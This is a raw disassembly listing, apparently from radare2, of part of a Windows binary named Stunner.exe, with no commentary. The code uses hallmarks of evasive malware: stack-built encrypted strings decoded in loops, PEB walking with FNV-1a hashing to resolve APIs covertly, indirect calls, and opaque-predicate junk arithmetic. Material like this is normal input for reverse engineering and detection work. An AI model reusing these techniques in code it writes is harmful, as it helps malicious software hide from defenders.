mov byte [rsp + 0x127c], 0xe5
mov byte [rsp + 0x127d], 0x3b
mov byte [rsp + 0x127e], 0xe0
mov byte [rsp + 0x127f], 0xe4
mov byte [rsp + 0x1280], 0xf2
mov byte [rsp + 0x1281], 0x19
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1282], xmm0
mov qword [rsp + 0x1292], rax
mov word [rsp + 0x129a], ax
mov byte [rsp + 0x129c], al
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
cmp rax, 0x3d
jae 0x14004f2c7
movabs r8, 0x4c43a1ee37ba02af
nop dword [rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rsp + rax + 0x1260]
add rcx, r8
movzx eax, cl
and al, dl
add al, al
sub cl, al
add cl, 0x37
add cl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x1260], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x3d
jb 0x14004f280
lea rax, [rsp + 0x1260]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14004f2d6
lea rdx, [rsp + 0x1260]
mov rcx, rbx
call fcn.140002020
mov rdx, rax
lea rcx, [rsp + 0x1ba8]
call fcn.140001cd0
nop
lea rcx, [rsp + 0x760]
call fcn.140001c70
mov rdx, qword [0x14007d158]
test rdx, rdx
jne 0x14004f4ea
mov r11d, r12d
mov r10d, 0x7bdc9789
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov rsi, r13
nop
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x14004f3a0
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0xb3dc28c3
cmp rcx, r8
je 0x14004f397
mov rbx, rcx
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
lea rcx, [rbx + 2]
mov rbx, rcx
cmp rcx, r8
jne 0x14004f380
cmp edx, r11d
jne 0x14004f4bd
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r12, rcx
shr r12, 0x20
mov edi, ecx
add rdi, r9
cmp rdi, r9
je 0x14004f4bd
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14004f4bd
mov r15d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r15]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
mov ecx, 0xb3dc28c3
test al, al
je 0x14004f429
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x14004f410
cmp ecx, r10d
je 0x14004f438
test r8d, r8d
jne 0x14004f3e0
jmp 0x14004f4bd
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
cmp rdx, rdi
jbe 0x14004f461
lea rax, [rdi + r12]
cmp rdx, rax
jae 0x14004f461
mov al, 1
jmp 0x14004f463
xor al, al
test al, al
je 0x14004f5ea
mov r11d, 0xb3dc28c3
mov r10d, r11d
movzx eax, byte [rdx]
cmp al, 0x2e
je 0x14004f497
nop dword [rax + rax]
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rdx
movzx eax, byte [rdx]
cmp al, 0x2e
jne 0x14004f480
inc rdx
movzx eax, byte [rdx]
cmp al, 0
je 0x14004f4b9
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x14004f4a1
mov rsi, qword [r13]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r13
je 0x14004f4d3
cmp qword [rax + 0x30], 0
je 0x14004f4d3
mov al, 1
jmp 0x14004f4d5
xor al, al
test al, al
jne 0x14004f340
xor r12d, r12d
mov edx, r12d
mov qword [0x14007d158], rdx
mov rcx, qword [rsp + 0x1580]
call rdx
call fcn.140003750
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003790
movsx r8d, al
imul ebx, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rbx*8]
add eax, r8d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004f5f2
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004f5f2
mov eax, 7
jmp 0x14004f68d
xor r12d, r12d
jmp 0x14004f4e3
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004f686
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x14004f68d
mov eax, dword [rsp + 0x1678]
cmp r12d, eax
jge 0x14004f6a8
lea rdx, [rsp + 0x1ba8]
lea rcx, [rsp + 0x1b88]
call fcn.140001cd0
nop
lea rcx, [rsp + 0x1ba8]
call fcn.140001c70
nop
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx eax, al
imul edx, eax
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*8]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004f971
cmp qword [rsp + 0x1b98], 0
sete al
movzx ecx, al
movd xmm2, ecx
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004f7c1
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004f7c1
mov ebx, 7
jmp 0x14004f85c
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004f855
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x14004f85c
mov ebx, dword [rsp + 0x1678]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov ecx, edi
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14004f971
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rdi, r14
nop dword [rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x14004f94a
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x14004f94a
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r10]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
test al, al
je 0x14004f945
mov ecx, 0xd049c35a
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x14004f920
cmp ecx, 0xcc6c9bd2
je 0x140050390
test r8d, r8d
jne 0x14004f8f0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r14
je 0x14004f960
cmp qword [rax + 0x30], 0
je 0x14004f960
mov al, 1
jmp 0x14004f962
xor al, al
test al, al
jne 0x14004f8c0
mov rdx, r12
xor ecx, ecx
call rdx
mov byte [rsp + 0x720], 0x3a
mov byte [rsp + 0x721], 0x28
mov byte [rsp + 0x722], 0x3d
mov byte [rsp + 0x723], 0x38
mov byte [rsp + 0x724], 0x26
mov byte [rsp + 0x725], 0x3e
mov byte [rsp + 0x726], 0x2c
mov byte [rsp + 0x727], 0x2f
mov byte [rsp + 0x728], 0x3a
mov byte [rsp + 0x729], 0x32
mov byte [rsp + 0x72a], 0x24
mov byte [rsp + 0x72b], 0x30
mov byte [rsp + 0x72c], 0x72
xor eax, eax
mov qword [rsp + 0x72d], rax
mov dword [rsp + 0x735], eax
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
cmp rax, 0x19
jae 0x14004fa4b
movabs rbx, 0xeb0037c1828a9cf
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rsp + rax + 0x720]
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
add cl, 0x57
add cl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x720], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x19
jb 0x14004fa04
movzx edx, byte [rsp + 0x1670]
lea rcx, [rsp + 0x660]
call fcn.140002460
nop
lea rax, [rsp + 0x720]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x14004fa73
lea rdx, [rsp + 0x720]
lea rcx, [rsp + 0x660]
call fcn.140002480
nop
lea rdx, [rsp + 0x660]
lea rcx, [rsp + 0x1bc8]
call sym.Stunner.exe_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_gev_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64_
nop
lea rcx, [rsp + 0x660]
call fcn.140001c70
mov byte [rsp + 0x10a0], 0x57
mov byte [rsp + 0x10a1], 0x8b
mov byte [rsp + 0x10a2], 0x8d
mov byte [rsp + 0x10a3], 0x84
mov byte [rsp + 0x10a4], 0x98
mov byte [rsp + 0x10a5], 0x92
mov byte [rsp + 0x10a6], 0x96
mov byte [rsp + 0x10a7], 0xae
mov byte [rsp + 0x10a8], 0xa1
mov byte [rsp + 0x10a9], 0x92
mov byte [rsp + 0x10aa], 0xa3
mov byte [rsp + 0x10ab], 0x9d
mov byte [rsp + 0x10ac], 0xa1
mov byte [rsp + 0x10ad], 0x5b
mov byte [rsp + 0x10ae], 0xa2
mov byte [rsp + 0x10af], 0xae
mov byte [rsp + 0x10b0], 0x94
mov byte [rsp + 0x10b1], 9
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x10b2], xmm0
mov dword [rsp + 0x10c2], eax
mov word [rsp + 0x10c6], ax
mov byte [rsp + 0x10c8], al
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
cmp rax, 0x29
jae 0x14004fbca
movabs rbx, 0x361d2dbd656a39ac
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rsp + rax + 0x10a0]
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
add cl, 0x4c
add cl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x10a0], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x29
jb 0x14004fb83
lea r8, [rsp + 0x10a0]
lea rdx, [rsp + 0x1bc8]
lea rcx, [rsp + 0x1708]
call fcn.14005df60
nop
mov byte [rsp + 0x10d0], 0xfb
mov byte [rsp + 0x10d1], 0xee
mov byte [rsp + 0x10d2], 0xe2
mov byte [rsp + 0x10d3], 0xe7
mov byte [rsp + 0x10d4], 0x32
mov byte [rsp + 0x10d5], 0x2a
mov byte [rsp + 0x10d6], 0xe1
mov byte [rsp + 0x10d7], 0x3f
mov byte [rsp + 0x10d8], 0x29
mov byte [rsp + 0x10d9], 0xec
mov byte [rsp + 0x10da], 0x38
mov byte [rsp + 0x10db], 0x2c
mov byte [rsp + 0x10dc], 2
mov byte [rsp + 0x10dd], 0xc5
mov byte [rsp + 0x10de], 0xf4
mov byte [rsp + 0x10df], 0xf6
mov byte [rsp + 0x10e0], 0xfb
mov byte [rsp + 0x10e1], 0xfd
mov byte [rsp + 0x10e2], 0xc0
mov byte [rsp + 0x10e3], 0xd4
mov byte [rsp + 0x10e4], 0xec
mov byte [rsp + 0x10e5], 0xcd
mov byte [rsp + 0x10e6], 0xce
mov byte [rsp + 0x10e7], 1
mov byte [rsp + 0x10e8], 5
mov byte [rsp + 0x10e9], 0x1d
mov byte [rsp + 0x10ea], 7
mov byte [rsp + 0x10eb], 0xec
mov byte [rsp + 0x10ec], 0xea
mov byte [rsp + 0x10ed], 0xb5
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x10ee], xmm0
mov byte [rsp + 0x10fe], al
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
cmp rax, 0x2f
jae 0x14004fd4d
movabs rbx, 0x4e8d9a3757b1773
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rsp + rax + 0x10d0]
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
sub cl, 0x25
add cl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x10d0], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x2f
jb 0x14004fd06
lea r8, [rsp + 0x1b88]
lea rdx, [rsp + 0x10d0]
lea rcx, [rsp + 0x640]
call fcn.14005e370
mov rbx, rax
mov byte [rsp + 0x12a0], 0xea
mov byte [rsp + 0x12a1], 0xed
mov byte [rsp + 0x12a2], 0xd4
mov byte [rsp + 0x12a3], 0x9b
mov byte [rsp + 0x12a4], 0x64
mov byte [rsp + 0x12a5], 0x65
mov byte [rsp + 0x12a6], 0x66
mov byte [rsp + 0x12a7], 0x60
mov byte [rsp + 0x12a8], 0xaa
mov byte [rsp + 0x12a9], 0xa6
mov byte [rsp + 0x12aa], 0xa9
mov byte [rsp + 0x12ab], 0x9c
mov byte [rsp + 0x12ac], 0x6b
mov byte [rsp + 0x12ad], 0x95
mov byte [rsp + 0x12ae], 0x9a
mov byte [rsp + 0x12af], 0xa7
mov byte [rsp + 0x12b0], 0xae
mov byte [rsp + 0x12b1], 0x96
mov byte [rsp + 0x12b2], 0x71
mov byte [rsp + 0x12b3], 0x89
mov byte [rsp + 0x12b4], 0x89
mov byte [rsp + 0x12b5], 0x8d
mov byte [rsp + 0x12b6], 0x83
mov byte [rsp + 0x12b7], 0xb5
mov byte [rsp + 0x12b8], 0x8d
mov byte [rsp + 0x12b9], 0x76
mov byte [rsp + 0x12ba], 0xb9
mov byte [rsp + 0x12bb], 0x7e
mov byte [rsp + 0x12bc], 0x78
mov byte [rsp + 0x12bd], 0x85
mov byte [rsp + 0x12be], 0x7d
mov byte [rsp + 0x12bf], 0x8e
mov byte [rsp + 0x12c0], 0x88
mov byte [rsp + 0x12c1], 0xa7
mov byte [rsp + 0x12c2], 0x7b
mov byte [rsp + 0x12c3], 0x7f
mov byte [rsp + 0x12c4], 0x75
mov byte [rsp + 0x12c5], 0x37
mov byte [rsp + 0x12c6], 0x16
xor eax, eax
mov qword [rsp + 0x12c7], rax
mov dword [rsp + 0x12cf], eax
mov word [rsp + 0x12d3], ax
mov byte [rsp + 0x12d5], al
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
cmp rax, 0x36
jae 0x14004ff27
movabs r8, 0xf91a3ec6509c6a5e
nop
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rsp + rax + 0x12a0]
add rcx, r8
movzx eax, cl
and al, dl
add al, al
sub cl, al
add cl, 0x6e
add cl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x12a0], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x36
jb 0x14004fee0
lea rax, [rsp + 0x12a0]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x14004ff32
lea rdx, [rsp + 0x12a0]
mov rcx, rbx
call fcn.140002020
mov rdx, rax
lea rcx, [rsp + 0x1728]
call fcn.140001cd0
nop
lea rcx, [rsp + 0x640]
call fcn.140001c70
mov byte [rsp + 0x1100], 0xcb
mov byte [rsp + 0x1101], 0xfe
mov byte [rsp + 0x1102], 0xfa
mov byte [rsp + 0x1103], 0xf7
mov byte [rsp + 0x1104], 2
mov byte [rsp + 0x1105], 0x32
mov byte [rsp + 0x1106], 0xfd
mov byte [rsp + 0x1107], 0xf
mov byte [rsp + 0x1108], 0x3d
mov byte [rsp + 0x1109], 0xf8
mov byte [rsp + 0x110a], 0xc
mov byte [rsp + 0x110b], 0x38
mov byte [rsp + 0x110c], 0xd2
mov byte [rsp + 0x110d], 9
mov byte [rsp + 0x110e], 0xd8
mov byte [rsp + 0x110f], 0xe6
mov byte [rsp + 0x1110], 0xeb
mov byte [rsp + 0x1111], 0xe9
mov byte [rsp + 0x1112], 0x34
mov byte [rsp + 0x1113], 0
mov byte [rsp + 0x1114], 0x18
mov byte [rsp + 0x1115], 0x31
mov byte [rsp + 0x1116], 0x3e
mov byte [rsp + 0x1117], 0xf5
mov byte [rsp + 0x1118], 0xc9
mov byte [rsp + 0x1119], 0xc9
mov byte [rsp + 0x111a], 0xf7
mov byte [rsp + 0x111b], 0x18
mov byte [rsp + 0x111c], 0x1a
mov byte [rsp + 0x111d], 0x59
xor eax, eax
mov qword [rsp + 0x111e], rax
mov dword [rsp + 0x1126], eax
mov byte [rsp + 0x112a], al
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
cmp rax, 0x2b
jae 0x1400500d7
movabs rbx, 0x810ba6b72cb00451
nop dword [rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rsp + rax + 0x1100]
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
sub cl, 0x37
add cl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x1100], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x2b
jb 0x140050090
lea r8, [rsp + 0x1ae8]
lea rdx, [rsp + 0x1100]
lea rcx, [rsp + 0x620]
call fcn.14005e370
mov rbx, rax
mov byte [rsp + 0x12e0], 0x22
mov byte [rsp + 0x12e1], 0x21
mov byte [rsp + 0x12e2], 0x20
mov byte [rsp + 0x12e3], 0x6b
mov byte [rsp + 0x12e4], 0x70
mov byte [rsp + 0x12e5], 0x71
mov byte [rsp + 0x12e6], 0x76
mov byte [rsp + 0x12e7], 0x74
mov byte [rsp + 0x12e8], 0x32
mov byte [rsp + 0x12e9], 0x26
mov byte [rsp + 0x12ea], 0x25
mov byte [rsp + 0x12eb], 0x68
mov byte [rsp + 0x12ec], 0x63
mov byte [rsp + 0x12ed], 0x61
mov byte [rsp + 0x12ee], 0x6a
mov byte [rsp + 0x12ef], 0x37
mov byte [rsp + 0x12f0], 0x3e
mov byte [rsp + 0x12f1], 0x76
mov byte [rsp + 0x12f2], 0x7d
mov byte [rsp + 0x12f3], 0x75
mov byte [rsp + 0x12f4], 0x7d
mov byte [rsp + 0x12f5], 0x79
mov byte [rsp + 0x12f6], 0x73
mov byte [rsp + 0x12f7], 0x39
mov byte [rsp + 0x12f8], 0x71
mov byte [rsp + 0x12f9], 0x76
mov byte [rsp + 0x12fa], 0x35
mov byte [rsp + 0x12fb], 0x6e
mov byte [rsp + 0x12fc], 0x6c
mov byte [rsp + 0x12fd], 0x71
mov byte [rsp + 0x12fe], 0x71
mov byte [rsp + 0x12ff], 0x7e
mov byte [rsp + 0x1300], 4
mov byte [rsp + 0x1301], 0x67
mov byte [rsp + 0x1302], 0xb
mov byte [rsp + 0x1303], 0xf
mov byte [rsp + 0x1304], 1
mov byte [rsp + 0x1305], 0x47
mov byte [rsp + 0x1306], 0xa6
xor eax, eax
mov qword [rsp + 0x1307], rax
mov dword [rsp + 0x130f], eax
mov word [rsp + 0x1313], ax
mov byte [rsp + 0x1315], al
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
cmp rax, 0x36
jae 0x1400502b7
movabs r8, 0xb8dbc4995618bfa0
nop dword [rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rsp + rax + 0x12e0]
add rcx, r8
movzx eax, cl
and al, dl
add al, al
sub cl, al
sub cl, 0x60
add cl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x12e0], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x36
jb 0x140050270
lea rax, [rsp + 0x12e0]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x1400502c2
lea rdx, [rsp + 0x12e0]
mov rcx, rbx
call fcn.140002020
mov rdx, rax
lea rcx, [rsp + 0x1748]
call fcn.140001cd0
nop
lea rcx, [rsp + 0x620]
call fcn.140001c70
lea rdx, [rsp + 0x1728]
lea rcx, [rsp + 0x1768]
call sym.Stunner.exe__e__YA_AV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__AEBV12__Z
nop
lea rdx, [rsp + 0x1748]
lea rcx, [rsp + 0x1788]
call sym.Stunner.exe__e__YA_AV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__AEBV12__Z
nop
xor edx, edx
lea rcx, [rsp + 0x16f8]
call fcn.14005d4b0
nop
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x1320]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x1358], r12
mov byte [rsp + 0x20], 0
mov r9b, 1
lea r8, [rsp + 0x1320]
lea rdx, [rsp + 0x1768]
lea rcx, [rsp + 0xc0]
call fcn.14005e4d0
mov rdx, rax
lea rcx, [rsp + 0x16f8]
call fcn.14005c920
nop
jmp 0x1400503bd
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14004f96d
mov r14d, 7
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
imul eax, ecx, 7
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14005078b
cmp byte [rsp + 0x16f8], 0
sete dl
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movzx eax, dl
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400504cd
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x1400504cd
mov ebx, r14d
jmp 0x140050568
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140050561
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x140050568
mov ebx, dword [rsp + 0x1678]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx eax, al
imul edx, eax
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*8]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14005078b
mov rdx, qword [0x14007d200]
test rdx, rdx
jne 0x140050786
mov r11d, r12d
mov r10d, 0xd962692e
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov rsi, r13
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x140050640
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
